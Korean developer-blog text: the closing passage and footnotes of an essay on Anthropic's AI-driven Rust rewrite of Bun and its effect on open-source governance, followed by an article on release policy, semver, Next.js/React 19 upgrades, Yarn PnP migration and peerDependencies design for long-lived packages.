세 번째는 **post-acquisition risk transfer**다. Anthropic이 Claude Code 가속이라는 자기 운영 우선순위를 위해 production-grade를 자처하는 rewrite를 6일 PR로 머지했다는 점 자체가, 기존 Bun을 production에 쓰던 팀들에게 위험을 전가하는 구도다. 자본 환경 변화로 인한 실험을 사용자가 떠안게 됐다. 인수 전이라면 안정 버전을 유지하면서 별도 브랜치에서 천천히 검증할 선택지가 있었을 텐데, 자본이 우선순위를 바꾸면 그 선택지가 사라진다. 정치적 신뢰 문제(OpenAI/Google 진영의 도입 회피)도 가능성은 있지만 이건 추측 영역이다. 자본 우선순위 변화 자체는 인수 사실로부터 직접 따라오는 명확한 위험이다.

Zig 커뮤니티는 1-2년 흔들린 후 다른 flagship 프로젝트(Ghostty, TigerBeetle)가 그 자리를 채울 것이다. Andrew Kelley는 AI 정책을 바꾸지 않고, Bun 없이도 언어는 계속 발전한다.

결국 Bun의 미래를 결정하는 건 코드 품질이 아니라 자본 환경이다. Anthropic이 Bun에 대한 투자 우선순위를 유지하는 한 살아남고, 우선순위가 떨어지는 순간 — Anthropic의 전략 변화나 비즈니스 환경 변화 — 빠르게 정체된다. 능력이 아니라 위치에 매여 있다는 점에서, **이 글의 thesis가 가장 구체적으로 적용되는 사례가 Bun 자신이다.**

## 마치며

Bun rewrite를 unsafe 블록 개수로 평가하면 표면만 본 게 된다. 더 들어가면 두 가지가 드러난다. 메인테이너 정의가 바뀌었다는 것. 토큰 접근성이 새 변수가 됐다는 것.

이 둘은 별개로 보이지만 사실 같은 뿌리에서 나온다. **자본이다.** 자본과 AI 인프라에 결합된 메인테이너는 인간 검토의 병목을 우회할 수 있고, 그 메인테이너가 만든 OSS는 자본 없는 개인 기여자가 따라가기 어려운 속도로 발전한다. 거버넌스 비대칭과 자원 비대칭은 자본이라는 단일 변수의 두 얼굴이다.

지금까지 OSS는 자본으로부터 어느 정도 자유로웠다. 정확히는 자본이 OSS 생산성에 큰 변수가 아니었기 때문에 자유로워 보였다. AI 시대에는 그렇지 않다. **토큰 비용이 곧 생산성이고, 자본 접근이 곧 시장 점유다.** 외부 AI를 거부하는 정책으로 막을 수 있는 변화가 아니다.

개발자 입장에서 보면 게임의 규칙이 바뀌었다. **능력만으로 설명되던 격차에 위치와 자원이라는 변수가 추가됐다.** 앞으로 개발자는 기술 역량뿐 아니라 자신이 어떤 자원 환경에서 일하는지도 전략적으로 봐야 한다. 능력은 노력으로 키울 수 있어도 위치는 그렇지 않다는 점에서, 후자의 무게가 점점 커진다.

컴파일러를 믿을 수 있게 만든 건 컴파일러 자체가 아니라 그 주변 검증 인프라였다. AI가 짠 OSS 코드도 마찬가지다. 코드 자체가 아니라 주변 인프라가 신뢰를 만든다. 그 인프라를 누가, 어떤 자본 위에서 만들 것인가. 그게 다음 2-3년 OSS의 가장 중요한 질문이다.

[^1]: [Anthropic's Bun Rust rewrite merged at speed of AI - The Register](https://www.theregister.com/devops/2026/05/14/anthropics-bun-rust-rewrite-merged-at-speed-of-ai/5240381) — PR 머지 시점, commit/line 통계, GitHub의 자동 close 사건.

[^2]: [Anthropic's Bun team trials port from Zig to Rust - The Register](https://www.theregister.com/software/2026/05/05/anthrophics-bun-team-trials-port-from-zig-to-rust/5222094) — Sumner의 "몇 달째 직접 타이핑하지 않았다" 발언, Bun이 Zig 본가가 아닌 자체 포크를 쓰고 있다는 점, GitHub의 AI slop 자동 close 사건.

[^6]: [Anthrophic's Bun team trials port from Zig to Rust - DEVCLASS](https://www.devclass.com/software/2026/05/11/anthrophics-bun-team-trials-port-from-zig-to-rust/5237835) — PORTING.md의 tokio/async 사용 금지 정책, Sumner의 "인간 기여 금지" 비전.

[^7]: [Theo - Bun Rewrites 960,000 Lines From Zig to Rust in Six Days (YouTube)](https://www.youtube.com/watch?v=gILMoijqeGA) — Theo의 13,000 unsafe 카운트 분석과 비대칭 안정화 우려 영상.

[^9]: [Curl ending bug bounty program after flood of AI slop reports - BleepingComputer](https://www.bleepingcomputer.com/news/security/curl-ending-bug-bounty-program-after-flood-of-ai-slop-reports/) — curl의 HackerOne 종료 결정과 AI slop 비율.

[^10]: [Linux kernel czar says AI bug reports aren't slop anymore - The Register](https://www.theregister.com/2026/03/26/greg_kroahhartman_ai_kernel/) — Greg Kroah-Hartman의 AI 패치에 대한 "mass spam" 입장과 정책 변화.

[^11]: [The Zig project's rationale for their firm anti-AI contribution policy - Simon Willison](https://simonwillison.net/2026/Apr/30/zig-anti-ai/) — Zig의 AI 전면 금지 정책 배경.

[^12]: [GitHub ponders kill switch for pull requests to stop AI slop - The Register](https://www.theregister.com/2026/02/03/github_kill_switch_pull_requests_ai/) — GitHub의 PR kill switch 검토와 AI slop 대응 방안.

[^13]: [Anthropic's Claude Mythos isn't a sentient super-hacker - it's a sales pitch - Tom's Hardware](https://www.tomshardware.com/tech-industry/artificial-intelligence/anthropics-claude-mythos-isnt-a-sentient-super-hacker-its-a-sales-pitch-claims-of-thousands-of-severe-zero-days-rely-on-just-198-manual-reviews) — Mythos 발표의 198건 외삽 비판.

[^14]: [Issue #30719 - oven-sh/bun](https://github.com/oven-sh/bun/issues/30719) — `PathString::init`에서 시작된 UB 보고, miri 검출 결과, Bun 팀의 PR #30728 대응(70개 call site에 SAFETY 주석 사후 추가), 추가 UB 발견 사례 포함.

[^15]: [PR #21270 "Refactor Zig imports and file structure part 1" - oven-sh/bun](https://github.com/oven-sh/bun/pull/21270) — 2025년 7월 commit `07cd45d`. `bun_collections` 디렉터리가 인수 발표 5개월 전부터 도입되어 있음. `bun.ptr` 스마트 포인터(`Owned`, `Shared`, `AtomicShared`, `RefCount`)는 같은 시점에 Zig 측에 사전 구축됐고, Rust 측 `src/ptr/lib.rs`에는 "Per PORTING.md §Pointers" 주석으로 매핑이 명시되어 있다.

[^16]: [Hacker News: discussion on Bun Rust rewrite](https://news.ycombinator.com/item?id=48132488) — 700+ upvote, 500+ comment의 커뮤니티 토론.

[^17]: Charlie Marsh(Astral/Ruff/uv 창립자)가 대규모 transliteration rewrite의 리스크를 두고 한 발언. "200개의 알려진 이슈를 미지의 미지로 교환한다"는 비유는 ashunar0의 일본어 정리글을 통해 영어권 커뮤니티에 빠르게 전파됐다. 원문 출처는 트윗/팟캐스트 인터뷰로 추정되지만 정확한 영구 링크는 추가 verify 필요.

---

Source: https://yceffort.kr/2026/05/good-package-for-long-term-users.md
Title: <em>오래 쓸 수 있는 패키지</em>는 무엇이 다른가
Description: 좋은 패키지는 기능뿐 아니라 의존성, 버전업, 호환성, 릴리즈 정책까지 사용자 친화적이어야 한다.
Date: 2026-05-09
Tags: frontend, package-management, semver, nextjs, maintenance

## Table of Contents

## 서론

좋은 패키지는 무엇인가. 보통은 API가 잘 설계되어 있고, 문서가 좋고, 성능이 괜찮고, 버그가 적은 패키지를 떠올린다. 틀린 말은 아니다. 하지만 실제로 어떤 패키지를 제품 코드에 오래 넣고 써보면, 품질은 코드 안에서만 결정되지 않는다.

패키지는 설치되는 순간부터 사용자의 일정에 들어온다. 기능 추가, 보안 패치, deprecation, breaking change, peer dependency 경고, canary 릴리즈, 마이그레이션 가이드가 모두 사용자의 비용이 된다. 심지어 아무것도 깨지지 않는 버전업도 비용이다. lockfile이 바뀌고, CI를 돌리고, QA를 하고, 배포 후 회귀를 봐야 한다. 그래서 패키지를 오래 쓸 수 있는지는 "처음 썼을 때 좋았는가"보다 "변화할 때 사용자를 어떻게 대하는가"에 더 가깝다.

개인적인 경험으로는 사내 디자인시스템을 쓰면서 이 문제를 강하게 느꼈다. 컴포넌트 자체가 나쁜 것은 아니다. 오히려 잘 만든 부분도 많다. 문제는 릴리즈 정책이었다. patch나 minor에서 토큰 이름이 바뀌어 theme override가 사라지고, 버튼 높이나 모달 padding 조정으로 QA 스냅샷이 깨지는 식의 일이 있었다. stable에는 필요한 버그 수정이 없어서 canary 버전을 실제 production에 배포해야 하는 상황도 있었다. 이런 경험이 반복되면 사용자는 패키지를 "의존성"이 아니라 "리스크"로 보게 된다.

이 글에서는 Next.js, Yarn Berry, peerDependencies, 디자인시스템 사례를 통해 사용자가 오래 쓸 수 있는 패키지의 조건을 살펴본다. React 자체보다는 React 위에서 더 넓은 릴리즈 표면을 가진 Next.js 쪽에 초점을 둔다. 결론은 간단하다. **좋은 패키지는 잘 동작하는 코드가 아니라, 사용자가 예측 가능한 비용으로 계속 의존할 수 있는 코드다.**

## 패키지의 진짜 API는 릴리즈 정책이다

패키지의 API는 함수 시그니처나 컴포넌트 props만이 아니다. 다음도 사실상 API다.

- 어떤 버전을 지원하는가
- 언제 breaking change를 내는가
- 이전 major에 보안 패치를 해주는가
- deprecation 기간은 얼마나 되는가
- canary, beta, rc, stable의 의미가 무엇인가
- peerDependencies를 얼마나 넓게 또는 좁게 잡는가
- 어떤 runtime dependencies를 사용자의 앱에 끌고 들어오는가
- 마이그레이션을 codemod로 제공하는가
- 릴리즈 노트에서 사용자가 해야 할 일을 명확히 말하는가

이것들은 `import` 구문에는 보이지 않는다. 하지만 제품 코드에서는 아주 현실적인 비용이다.

예를 들어 어떤 디자인시스템이 `Button`의 prop 이름을 바꾼다고 하자.

```tsx
// before
<Button variant="primary" />

// after
<Button color="brand" />
```

이 변경 자체는 유지보수자 입장에서 합리적일 수 있다. 용어를 더 정확히 만들고, 토큰 체계를 정리하고, 디자인 언어를 일관되게 만들기 위한 변화일 수 있다. 문제는 변경의 정당성이 아니라 변경의 전달 방식이다.

다음처럼 patch 릴리즈 노트 한 줄로 배포된다면 사용자는 받아들이기 어렵다.

```md
## 2.4.1

- Button의 `variant` prop을 `color` prop으로 변경
```

patch 버전에 breaking change가 들어갔다. migration guide가 없다. deprecated alias도 없다. codemod도 없다. 이전 major 지원 정책도 없다. 그러면 사용자는 다음부터 patch upgrade도 믿지 못한다.

반대로 같은 변경도 이렇게 제공되면 다르다.

```tsx
type ButtonProps =
  | {
      color?: 'brand' | 'neutral'
      variant?: never
    }
  | {
      /**
       * @deprecated use color instead.
       */
      variant?: 'primary' | 'secondary'
      color?: never
    }
```

그리고 릴리즈 정책이 이렇게 설명된다면 사용자는 계획할 수 있다.

```txt
2.5.0: color prop 추가, variant는 deprecated warning 출력
3.0.0: variant 제거
2.x: 6개월간 critical bug/security patch 제공
codemod: npx @design-system/codemod button-variant-to-color
```

두 방식 모두 최종 결과는 같다. `variant`는 사라지고 `color`가 남는다. 하지만 사용자 경험은 완전히 다르다. 좋은 패키지는 변화하지 않는 패키지가 아니다. **변화를 예측 가능하게 만드는 패키지다.**

릴리즈 채널의 이름도 같은 맥락이다. canary, beta, rc, stable이 단순한 라벨이 아니라 사용자가 위험을 판단하는 언어다. 사용자가 stable에서 받지 못하는 critical fix를 위해 canary를 production에 올려야 한다면, 이름은 canary지만 실제로는 불안정한 stable이다. 좋은 채널 정책은 critical fix를 가능한 한 stable line에 backport하고, 그게 어렵다면 다음 stable에 언제 들어가는지를 명시한다. UK Intelligence Community Design System이 canary component를 'unstable testing' 용도라고 명시하고 production 사용을 권장하지 않는다고 적은 것은 이 때문이다.

## Framework upgrade는 생태계 upgrade다

이 문제를 React 자체의 문제로 보는 것은 조금 부정확하다. React는 오히려 versioning과 upgrade path를 꽤 보수적으로 운영해온 편에 가깝다. major release를 자주 내는 편도 아니고, React 19에서는 breaking change가 있음을 인정하면서 React 18.3이라는 bridge release를 먼저 제공했다. React 18.3은 React 18.2와 거의 같지만 React 19에서 문제가 될 deprecated API를 미리 경고하도록 만들어졌다. major upgrade 전에 경고를 볼 수 있는 완충 지대를 제공한 것이다.

문제는 React 위에 있는 framework layer에서 더 크게 드러난다. Next.js는 React 버전뿐 아니라 router, compiler, bundler, runtime, cache semantics, deployment model, security patch를 한 번에 묶어 움직인다. Next.js의 API에는 이 모든 것의 cadence와 ecosystem coordination이 포함되어 있다. 그래서 Next.js를 올린다는 것은 단순히 `next` 패키지 하나를 올리는 일이 아니다.

Next.js 15는 이 긴장을 잘 보여준다. Next.js 15는 stable로 릴리즈되었지만 App Router는 React 19 RC와 맞물려 있었다. 공식 릴리즈 글에서도 App Router가 React 19 RC를 사용한다고 설명했다. 동시에 Async Request APIs, caching semantics 같은 breaking change도 들어갔다. 기능적으로는 납득할 수 있다. 하지만 큰 monorepo나 shared design system을 가진 조직에서는 "Next.js를 올린다"가 곧 "React 생태계 전체와 사내 패키지 전체를 같이 올린다"가 된다.

그리고 여기서 버전업 자체의 피로감이 생긴다. 어떤 변경이 breaking change가 아니더라도, 사용자는 매번 dependency diff를 보고, lockfile을 리뷰하고, CI와 E2E를 돌리고, staging에서 확인하고, 배포 후 모니터링해야 한다. "업그레이드가 쉽다"는 말은 유지보수자 입장에서는 맞을 수 있지만, 사용자의 제품 일정 안에서는 여전히 interruption이다. 특히 framework는 사용자 코드의 실행 환경 전체를 바꾸기 때문에, 작은 minor upgrade도 팀 입장에서는 작은 프로젝트가 된다.

실제 사용자 반응을 보면 이 문제가 더 분명해진다.

[Next.js discussion #73405](https://github.com/vercel/next.js/discussions/73405)의 제목은 "React 19 RC가 필요 없는 Next 15 기능을 Next 14에 backport할 수 없느냐"에 가깝다. 작성자는 Next.js 15의 self-hosting 개선이나 `next.config.ts` 같은 기능은 쓰고 싶지만, React 19 RC 때문에 큰 monorepo와 shared design system을 올릴 수 없다고 말한다.

> "Upgrading to React 19 is not an easy task, especially for people working in big monorepos with many ecosystem packages."
>
> React 19로 업그레이드하는 것은 쉽지 않다. 특히 많은 생태계 패키지를 가진 큰 monorepo에서 작업하는 사람들에게는 그렇다.

이 인용에서 중요한 건 "React 업그레이드가 어렵다"는 일반론이 아니다. Next.js 15의 self-hosting 개선이나 `next.config.ts` 같은 기능을 쓰고 싶어도, React 19 RC와 생태계 패키지의 peer dependency 문제가 한 덩어리로 따라온다는 점이다. 같은 글에서 작성자는 생태계와 디자인시스템이 따라오기까지 최소 1년이 걸릴 수 있다고 본다. warning을 무시하고 React 19 RC로 올렸다가 문제가 생기면, 사용자는 upstream에 이슈를 올리기도 애매해진다. 지원하지 않는 peer version을 사용자가 선택한 모양이 되기 때문이다. 이건 단순한 경고 피로가 아니라 책임 경계가 사용자에게 넘어가는 문제다.

비슷한 문제는 다른 이슈에서도 반복된다. [Next.js issue #72204](https://github.com/vercel/next.js/issues/72204)는 제목부터 "Cannot install dependencies after upgrading to Next 15 and React 19 RC"다. 작성자는 codemod로 Next 15와 React 19 RC로 올린 뒤 이렇게 말한다.

> "Now I cannot install any new package or upgrade any existing package."
>
> 이제 새 패키지를 설치할 수도 없고, 기존 패키지를 업그레이드할 수도 없다.

이 문장이 보여주는 문제는 build 하나가 실패했다는 정도가 아니다. framework upgrade 이후 package manager의 dependency resolution 자체가 막혔다는 점이다. 사용자는 Next.js를 올렸을 뿐인데, 그 다음부터는 전혀 관계없는 새 패키지 설치나 기존 패키지 업그레이드까지 멈춘다. 이때 upgrade 비용은 codemod로 고친 파일 수가 아니라, 생태계 전체의 peer range가 맞춰질 때까지 기다리는 시간으로 바뀐다.

[Headless UI issue #3538](https://github.com/tailwindlabs/headlessui/issues/3538)에서도 Next.js 15가 요구하는 React 19 때문에 peer dependency error가 upgrade를 막는다는 보고가 올라왔다.

> "I get a peer dependency error that breaks the upgrade. headlessui requires react 18."
>
> 업그레이드를 깨뜨리는 peer dependency error가 발생한다. headlessui는 React 18을 요구한다.

여기서도 핵심은 Headless UI가 나쁘다는 이야기가 아니다. 어떤 UI package가 아직 React 18만 peer로 선언하고 있을 때, Next.js의 React major requirement가 사용자 앱 전체의 upgrade 경로를 막을 수 있다는 점이다. 패키지 하나의 peer range가 제품 전체의 일정이 되는 순간이다.

Reddit 반응도 비슷하다. [Next.js 15 upgrade thread](https://www.reddit.com/r/nextjs/comments/1g9cqyq)에서는 작은 프로젝트는 codemod로 5분 안에 끝났지만, 더 큰 프로젝트는 dependency compatibility 문제로 build가 계속 실패했다는 경험담이 나온다. 결론은 업그레이드 보류였다.

> "With the smaller one, a blog template, it took less than 5 mins in total with the codemod. However, there was more problem when trying to upgrade another repo which is much bigger in size. The codemod managed to update close to 30-40 files but the build keeps failing. Digging deeper, there was lots of compatibility issues between that project's existing dependencies and React 19. ... Will wait for things to stabilize, so I'll give it at least 6 months before making a new attempt."
>
> 작은 블로그 템플릿은 codemod로 5분도 안 걸렸지만, 더 큰 저장소는 달랐다. codemod가 30~40개 파일을 고쳤는데도 build가 계속 실패했고, 기존 dependency와 React 19 사이의 compatibility issue가 많았다. 그래서 안정화될 때까지 최소 6개월은 기다리겠다는 것이다.

같은 thread의 다른 사용자는 cookies/headers refactoring과 3rd-party UI package 문제를 겪다가 2시간 만에 포기했다고 적었다. 이 반응들이 Next.js 15가 나쁘다는 증거는 아니다. 오히려 작은 프로젝트에서는 upgrade가 잘 되었다는 반응도 같이 있다. 중요한 건 규모가 커질수록 버전업이 단순 작업이 아니라 ecosystem coordination 문제가 된다는 점이다.

여기에 보안 패치가 끼어들면 선택지는 더 줄어든다. 2025년 말 React Server Components 관련 RCE 취약점은 Next.js 15.x, 16.x App Router 사용자에게 즉시 patched stable로 업그레이드하라고 안내했다. 2026년 4월에도 Server Components 기반 DoS advisory가 나왔다. 보안 취약점은 당연히 패치해야 한다. 하지만 보안 패치가 사실상 큰 업그레이드와 묶이면 사용자는 두 가지 위험 중 하나를 고르게 된다.

1. 보안 취약점을 안고 버틴다.
2. 생태계 호환성이 완전히 검증되지 않은 업그레이드를 강행한다.

좋은 패키지의 유지보수 정책은 이 선택지를 줄여야 한다. 보안 패치는 가능한 한 넓은 supported range에 backport하고, major upgrade가 필요한 경우에는 왜 필요한지, 어떤 조합이 안전한지, 어떤 조합은 포기해야 하는지 명확히 말해야 한다.

## 기술적으로 옳아도 migration이 없으면 깨진다

Yarn Berry는 패키지의 API가 코드뿐 아니라 migration design 자체였다는 것을 보여준다. Yarn 2는 Plug'n'Play(PnP)를 통해 `node_modules`의 오래된 문제를 해결하려 했다. 설치 속도, 디스크 사용량, phantom dependency 문제를 생각하면 방향 자체는 타당했다. `node_modules`는 느리고 크고 암묵적인 의존성 접근을 허용한다. PnP는 이 문제를 정면으로 다뤘다.

하지만 사용자의 관점에서는 기존 Node.js 생태계의 암묵적 계약이 크게 흔들렸다.

Yarn PnP 공식 문서는 migration 과정에서 다음을 고려하라고 안내한다.

- `node_modules` 폴더가 없다.
- `.bin` 폴더가 없다.
- 일부 `node` 호출은 `yarn node`로 바꿔야 한다.
- IDE 지원을 위해 SDK 생성과 VSCode 설정이 필요하다.
- 일부 dependency는 명시적으로 선언해야 한다.

이것은 단순한 package manager 교체가 아니다. 개발 환경, CI, 에디터, 번들러, 테스트 도구, 스크립트 관습을 모두 건드리는 변화다.

그래서 "Yarn 2 PnP 끄는 법" 같은 질문이 Stack Overflow에서 높은 점수를 받았다. GitHub 이슈에서도 같은 패턴이 반복된다.

[Yarn berry issue #6380](https://github.com/yarnpkg/berry/issues/6380)은 PnP와 workspace TypeScript SDK 조합에서 vscode가 module not found를 띄우지만 `yarn build`는 정상 통과한다는 보고다. 작성자는 yarn과 typescript 버전 조합을 매트릭스로 직접 검증하고 나서, 결국 단일 해결책을 정리한다.

> "What single action fixes this? `yarn config set nodeLinker node-modules && yarn`"
>
> 이걸 한 번에 고치는 방법은? `yarn config set nodeLinker node-modules && yarn`로 PnP를 끄는 것이다.

여기서 중요한 건 vscode의 버그냐 typescript의 버그냐가 아니다. 사용자는 `yarn build`는 성공하는데 에디터에서는 빨간 줄이 뜨는 상태를 매일 본다. 도구 한쪽의 문제로 PnP를 못 쓰게 되면, 가장 안정적인 escape hatch는 결국 nodeLinker를 `node-modules`로 되돌리는 것이다. PnP가 약속한 "node_modules로부터의 자유"가 IDE 한 곳에서 어긋나는 순간 사라진다.

[Yarn berry issue #7071](https://github.com/yarnpkg/berry/issues/7071)은 더 직접적이다. Vite 8이 rolldown으로 번들러 내부를 바꾸자 PnP 환경에서 import resolution 자체가 깨지기 시작했다. 작성자의 첫 보고는 짧다.

> "Changing the nodeLinker from pnp to node-modules fixes the problem."
>
> nodeLinker를 pnp에서 node-modules로 바꾸면 문제가 해결된다.

같은 thread의 다른 댓글은 더 무겁다.

> "The Vite team is probably not going to support Yarn PnP going forward."
>
> Vite 팀은 앞으로 Yarn PnP를 지원하지 않을 것 같다.

이 인용에서 핵심은 누구의 잘못이냐가 아니다. 번들러가 native(Rust) 쪽으로 옮겨가면서 PnP의 module resolution을 따라잡기 어려워졌고, Vite 측은 PnP 지원을 멈출 가능성이 있다는 점이다. 사용자 입장에서 nodeLinker를 한 줄로 바꿔 해결되는 build 실패는 사실 "이 도구는 더 이상 너의 채널이 아닐 수 있다"는 신호에 가깝다.

여기서 Yarn이 틀렸다고 말하려는 것은 아니다. 오히려 Yarn Berry는 Node.js 생태계의 구조적 문제를 정확히 찔렀다. 문제는 **사용자가 옳은 방향으로 이동하는 데 필요한 완충 지대가 충분했는가**다.

패키지나 도구가 기존 생태계의 암묵적 계약을 깨려면, 최소한 다음을 제공해야 한다.

- 기존 방식으로 남을 수 있는 escape hatch
- migration doctor 또는 compatibility checker
- 주요 도구와의 호환성 표
- 실패했을 때 원인을 설명하는 좋은 에러 메시지
- 조직 단위 migration을 위한 단계적 가이드
- 안정화될 때까지의 충분한 병행 지원

기술적으로 더 나은 설계가 사용자에게도 더 나은 경험이 되려면, 그 사이에 migration design이 있어야 한다.

## dependency는 사용자에게 전가되는 운영 책임이다

`peerDependencies`는 warning으로 드러나기라도 한다. 일반 `dependencies`는 더 조용하다. 패키지를 설치하면 자연스럽게 따라오고, 사용자는 그 의존성이 왜 필요한지 모른 채 bundle, audit, transitive dependency, 보안 패치 비용을 같이 떠안는다.

개인적으로는 "그냥 `fetch`로 해도 되는 일"에 axios가 들어가 있어서 axios 취약점 대응까지 해야 했던 경험이 있다. axios가 나쁜 패키지라는 뜻은 아니다. axios는 오래된 HTTP client이고, interceptors, timeout, transform, Node/browser 추상화 같은 기능이 필요하면 쓸 이유가 있다. 문제는 그 기능이 필요 없는데도 습관적으로 넣는 경우다.

예를 들어 이런 코드가 있다고 하자.

```ts
import axios from 'axios'

export async function getUser() {
  const response = await axios.get('/api/user')
  return response.data
}
```

이 정도면 platform API로 충분하다.

```ts
export async function getUser() {
  const response = await fetch('/api/user')

  if (!response.ok) {
    throw new Error('Failed to fetch user')
  }

  return response.json()
}
```

물론 `fetch`를 쓴다고 보안 문제가 사라지는 것은 아니다. 서버에서 사용자 입력 URL을 그대로 요청하면 `fetch`로도 SSRF는 만들 수 있다. 차이는 **굳이 외부 dependency를 추가하지 않아도 되는 문제에 dependency를 추가했을 때, 그 dependency 고유의 취약점과 릴리즈 정책까지 사용자가 따라가야 한다는 점**이다.

axios만 해도 2025년에 absolute URL 처리와 관련된 SSRF/credential leakage advisory가 있었고, `data:` URL 처리에서 메모리를 과도하게 사용할 수 있는 DoS advisory도 있었다. 사용자가 axios의 고급 기능을 직접 쓰고 있다면 이 대응은 당연한 비용이다. 하지만 패키지 내부에서 단순 HTTP 요청 하나를 위해 axios를 끌고 왔다면, 사용자는 자신이 선택하지 않은 비용을 떠안게 된다.

그래서 좋은 패키지는 dependencies를 쉽게 추가하지 않는다. 추가하기 전에 다음 질문을 해야 한다.

- platform API로 충분한가?
- 이 dependency가 사용자 bundle에 들어가는가?
- 이 dependency의 보안 취약점이 사용자의 audit을 깨뜨릴 수 있는가?
- 이 dependency가 Node, browser, edge runtime 중 어디까지 지원하는가?
- 이 dependency를 core에 넣어야 하는가, adapter package로 분리할 수 있는가?
- optional dependency나 peer dependency로 사용자가 선택하게 만들 수 있는가?

특히 디자인시스템이나 framework plugin처럼 많은 앱에 깔리는 패키지는 더 보수적이어야 한다. 내부 구현 편의를 위해 axios, date library, animation library, CSS-in-JS runtime을 core dependency로 넣으면 모든 제품팀이 그 릴리즈 주기를 같이 따라가야 한다. 좋은 구조는 보통 core를 작게 유지하고 integration을 분리한다.

```txt
@company/ui-core
@company/ui-react
@company/ui-next
@company/ui-axios-adapter
```

모든 패키지를 이렇게 쪼개야 한다는 뜻은 아니다. 하지만 사용자가 직접 선택하지 않은 dependency는 그 자체로 유지보수 부채다. 좋은 패키지는 dependency를 기능 추가의 지름길이 아니라 사용자에게 전가되는 운영 책임으로 본다.

## peerDependencies는 책임 경계다

Next.js 15 사례에서 반복해서 나온 문제는 결국 `peerDependencies`다. 많은 사람이 peer dependency를 귀찮은 설치 경고 정도로 본다. 하지만 실제로는 패키지가 사용자에게 선언하는 호환성 계약이고, 문제가 생겼을 때 누구의 책임인지 가르는 경계다.

예를 들어 다음 선언은 React 18만 지원한다는 뜻이다.

```json
{
  "peerDependencies": {
    "react": "^18.0.0",
    "react-dom": "^18.0.0"
  }
}
```

이 패키지가 React 19에서도 실제로 동작한다고 해보자. 그래도 사용자는 React 19 프로젝트에서 설치 경고를 맞는다. npm에서는 설치가 막힐 수도 있고, pnpm이나 Yarn에서는 warning이 남는다. 결국 사용자는 `--force`, `--legacy-peer-deps`, `overrides`, `packageExtensions` 같은 우회책을 고민한다.

좋은 선언은 더 넓은 range를 허용한다.

```json
{
  "peerDependencies": {
    "react": "^18.2.0 || ^19.0.0",
    "react-dom": "^18.2.0 || ^19.0.0"
  },
  "peerDependenciesMeta": {
    "react-dom": {
      "optional": false
    }
  }
}
```

하지만 range만 넓히면 끝이 아니다. 이 선언은 CI matrix로 증명되어야 한다.

```yaml
strategy:
  matrix:
    react:
      - 18.2.0
      - 19.0.0
```

range를 넓히는 것은 메타데이터 변경에서 끝나지 않는다. 실제 코드도 두 React 버전 사이의 차이를 흡수해야 한다. 가장 흔한 예가 `forwardRef`다. React 19부터 함수 컴포넌트가 `ref`를 일반 prop으로 받을 수 있게 되면서 `forwardRef`는 deprecated 경로가 되었지만, React 18을 함께 지원하는 디자인시스템은 두 모델을 모두 만족시켜야 한다.

```tsx
// React 18: forwardRef가 필수
const Button = forwardRef<HTMLButtonElement, ButtonProps>((props, ref) => (
  <button ref={ref} {...props} />
))

// React 19: ref가 일반 prop
function Button({ref, ...props}: ButtonProps & {ref?: Ref<HTMLButtonElement>}) {
  return <button ref={ref} {...props} />
}
```

실제 디자인 패키지들이 쓰는 우회는 비슷하다. `forwardRef`를 그대로 두고 React 19에서 발생하는 deprecated warning을 내부에서 무시하거나, ref를 단순 prop으로 바꾸고 React 18에서는 type assertion으로 통과시키거나, 빌드 단계에서 React 버전별 entry를 분리해 export한다.

여기서 한 가지 짚을 점은 React 19가 `forwardRef`를 **제거**한 게 아니라 **deprecated**만 시켰다는 사실이다. React 19에서도 `forwardRef`는 그대로 동작하고 콘솔에 warning만 출력된다. 그래서 가장 보수적인 패턴은 코드를 거의 그대로 두고 peer range만 넓히는 것이다. 사용자 측에 deprecation warning이 보이긴 하지만 깨지는 것보다 낫다. 디자인시스템 입장에서는 컴포넌트가 수십 개라면 한 번에 다 바꾸기 어려운데, deprecation 기간이 있는 deprecation은 "지금 깨지지 않으면서 다음 major까지 시간을 번다"는 운영 자원이 된다.

조금 더 적극적인 패키지는 호환 helper로 두 모델을 동시에 만족시킨다.

```tsx
import {forwardRef as legacyForwardRef, type Ref} from 'react'

// React 18 / 19 양쪽에서 동일하게 동작하는 helper
export function compatForwardRef<T, P>(
  render: (props: P, ref: Ref<T>) => React.ReactNode,
) {
  return legacyForwardRef(render as any) as unknown as (
    props: P & {ref?: Ref<T>},
  ) => React.ReactNode
}

// 사용
const Button = compatForwardRef<HTMLButtonElement, ButtonProps>(
  (props, ref) => <button ref={ref} {...props} />,
)
```

이런 helper는 작아 보이지만 효과가 크다. 컴포넌트 작성자는 새 코드를 React 19 스타일로 짤 수 있고, React 18 사용자에게는 깨지지 않으며, deprecation warning은 helper 내부에서만 발생해서 사용자 콘솔이 비교적 깨끗하다. 더 중요한 건 컴포넌트 100개가 같은 helper를 통과하기 때문에 React 모델 전환을 한 곳에서 결정할 수 있다는 점이다.

이게 디자인시스템에서 특히 중요한 이유는 ref forwarding이 사슬처럼 이어지기 때문이다. `Tooltip → Popover → Button → <button>`처럼 ref를 여러 단계 흘려보내야 할 때, 한 단계만 React 19 모델로 바꾸면 다른 단계의 타입 정의와 충돌한다. 컴포넌트 합성에서 발생하는 타입 mismatch는 컴파일 단계에서 잡히지 않고 런타임에서 ref가 `null`이 되거나 focus management가 깨지는 식으로 드러난다. helper 하나를 통일해두면 전체 ref chain이 같은 방식으로 동작하기 때문에 이런 사고를 줄일 수 있다.

타입 정의도 같은 맥락에서 봐야 한다. React 18의 `Ref<T>`와 React 19의 `Ref<T>`는 약간 다르다. 그래서 일부 패키지는 빌드 시 `@types/react` 버전에 따라 다른 `.d.ts` 두 벌을 만들어 export한다. 빌드별 export 분기는 대략 이런 모양이다.

```json
{
  "exports": {
    ".": {
      "react-18": "./dist/react-18.js",
      "react-19": "./dist/react-19.js"
    }
  }
}
```

실제로 React 19 RC 발표 이후 비슷한 패턴의 이슈가 여러 디자인 패키지에서 동시에 올라왔다. [react-aria-components #7583](https://github.com/adobe/react-spectrum/issues/7583), [ant-design-mobile #6899](https://github.com/ant-design/ant-design-mobile/issues/6899), [vidstack/player #1533](https://github.com/vidstack/player/issues/1533) 모두 같은 본질이다. peer range 한 줄을 넓히려면 ref forwarding, JSX runtime, hook 동작 같은 내부 호환성을 같이 검증해야 한다. 어떤 패키지는 코드는 그대로 두고 peer만 넓혀 release했고, 어떤 패키지는 peer만 먼저 늘리고 내부 호환성을 늦게 따라잡으면서 사용자 측에서 runtime 오류를 보게 했다.

peer range `^18.2.0 || ^19.0.0`이라는 한 줄은 이런 내부 호환성 작업의 결과물이다. 넓은 peer range는 메타데이터가 아니라 패키지의 운영 부담을 의미한다.

반대로 React 18과 19를 동시에 지원할 수 없다면, 좁은 peer range 자체가 문제는 아니다.

